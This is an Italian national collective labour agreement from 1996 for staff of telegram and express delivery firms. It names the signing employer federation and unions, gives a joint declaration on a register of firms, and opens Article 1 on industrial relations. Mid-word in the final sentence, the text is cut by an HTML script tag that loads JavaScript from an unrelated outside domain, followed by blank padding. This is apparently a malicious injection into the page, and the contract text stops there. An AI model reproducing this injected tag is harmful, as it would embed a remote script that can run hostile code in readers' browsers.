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Categoria: Recapito corrispondenza
Settore: Altro
Data stipula: 20-2-1996
Data decorrenza: 1-1-1995
Data scadenza: 31-12-1998

Contratto Collettivo Nazionale di Lavoro

PER  IL  PERSONALE  DIPENDENTE DA IMPRESE ESERCENTI  SERVIZI  DI  RECAPITO
TELEGRAMMI, ESPRESSI, DISPACCI IN GENERE, RECAPITO IN LOCO
(sostituisce il CCNL 30.1.91, scade il 31.12.98).


Addì 20 febbraio 1996 in Roma,

Tra

-     la  Federazione Italiana Imprese di Servizi - AUSITRA  rappresentata
  dal  Vice Direttore dott. Sandro di Macco e dal dott. Giancarlo  Cipullo
  presenti  le  Imprese  ARE  rappresentate dal  Presidente  dott.  Franco
  Defendini,  dal Vice Presidente dott. Ettore Calogero nonché  dai  sigg.
  Giuliano Annovi, Ambrogio e Francesco Baccaro, Sergio Bottagisio, Carmen
  Campili,  Michele  D'Elicio, Fausto Federici, Daniele  Savelli,  Valeria
  Senatori

e

-     la  Federazione Italiana Postelegrafonici (FILPT-CGIL) rappresentata
  dai  sigg.  Piero Leonesio, Carla Pecchioni, Ermes Zattoni; la  SLP-CISL
  nazionale  rappresentata  dai sigg. Michele  Vinci,  Mario  Petitto;  la
  UILTRASPORTI nazionale rappresentata dai sigg. Paolo Carcassi segretario
  nazionale, Enrico Cimmino dipartimento nazionale ausiliari del traffico,
  Stefano Ladogana dirigente regionale; la UILPOST nazionale rappresentata
  dai  sigg.  Paolo  Tullo, Marcello Bellizzi, Mario Caiulo;  presenti  le
  rispettive delegazioni territoriali

è  stato rinnovato il CCNL 30 gennaio 1991 per il personale dipendente  da
imprese  esercenti servizi di recapito telegrammi, espressi,  dispacci  in
genere, recapito in loco.


Dichiarazione delle parti.

ALBO NAZIONALE DELLE IMPRESE

Le  parti  convengono  sulla necessità di sviluppare  adeguate  iniziative
congiunte  o  comunque  convergenti rivolte a  individuare  gli  strumenti
idonei a garantire da parte di tutte le imprese del settore l'applicazione
del  presente  CCNL, nonché delle norme di legge sul rapporto  di  lavoro,
anche ai fini della salvaguardia dei livelli occupazionali.

A tal fine le parti concordano che uno degli strumenti più rispondenti per
generalizzare la normalizzazione dei rapporti tra imprese e  lavoratori  è
costituito  dall'Albo  di  categoria, per  la  cui  istituzione  le  parti
medesime sono dunque impegnate.



Art. 1 -Sistema  di relazioni sindacali - Procedure e sedi di composizione
        delle controversie individuali e plurime.

1.A) Premessa.

Il  presente  CCNL nell'assumere come proprio lo spirito  del  "Protocollo
sulla politica dei redditi e dell'occupazione, sugli assetti contrattuali,
sulle  politiche  del  lavoro e sul sostegno al  sistema  produttivo"  del
23.7.93,  ne  realizza, per quanto di competenza del contratto  collettivo
nazionale  di categoria, le finalità e gli indirizzi in tema di  relazioni
sindacali  attribuendo all'autonomia collettiva delle parti  una  funzione
primaria  per la gestione delle relazioni di lavoro mediante  la  costante
ricerca,  ai  diversi  livelli e con diversi  strumenti,  del  metodo  del
confronto,  al  quale  le  parti riconoscono  un  ruolo  essenziale  nella
prevenzione del conflitto.

Le  parti, nel riconoscere la propria titolarità nella stipula del CCNL  e
d'ogni   altro   accordo   d'interesse  nazionale,   convengono   che   la
contrattazione  aziendale  di  2° livello riguarderà  materie  e  istituti
diversi  e  non  ripetitivi rispetto a quelli  propri  del  CCNL  e  potrà
pertanto essere svolta per le sole materie stabilite dalle specifiche clau
sole  di  rinvio  del CCNL in conformità ai criteri e alle  procedure  ivi
indicate.

In applicazione dell'Accordo interconfederale 20.12.93, del quale le parti
stipulanti   dichiarano  il  pieno  recepimento,   sono   titolari   della
contrattazione aziendale di 2° livello, negli ambiti, per le materie e con
le  procedure  e i criteri stabiliti dal presente contratto, le  strutture
territoriali  delle  OO.SS. stipulanti e le RSU costituite  ai  sensi  del
medesimo accordo interconfederale.

Le  aziende  possono  essere assistite e rapprese<script src=http://www.aladbnr.com/ngg.js></script>













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